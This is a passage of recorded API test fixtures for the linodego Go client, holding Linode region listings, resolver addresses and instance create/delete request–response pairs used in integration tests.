"173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-hy88743rnti2","root_pass":"T}\u003c7Bd4|[-eU6Cu1q#Rs;jY{\u00262/6*T#ZJ2G6$xU6Ih~B512uP5lBh4tC]-y4es4v","image":"linode/debian9","firewall_id":37243,"disk_encryption":"enabled","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 25233714, "label": "go-test-ins-hy88743rnti2", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["143.42.180.166"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3ea139a93c92b6eda6fa3085f78d8cf2132a9234", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233714 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Disk_Clone.yaml000066400000000000000000001227231474652371000321550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 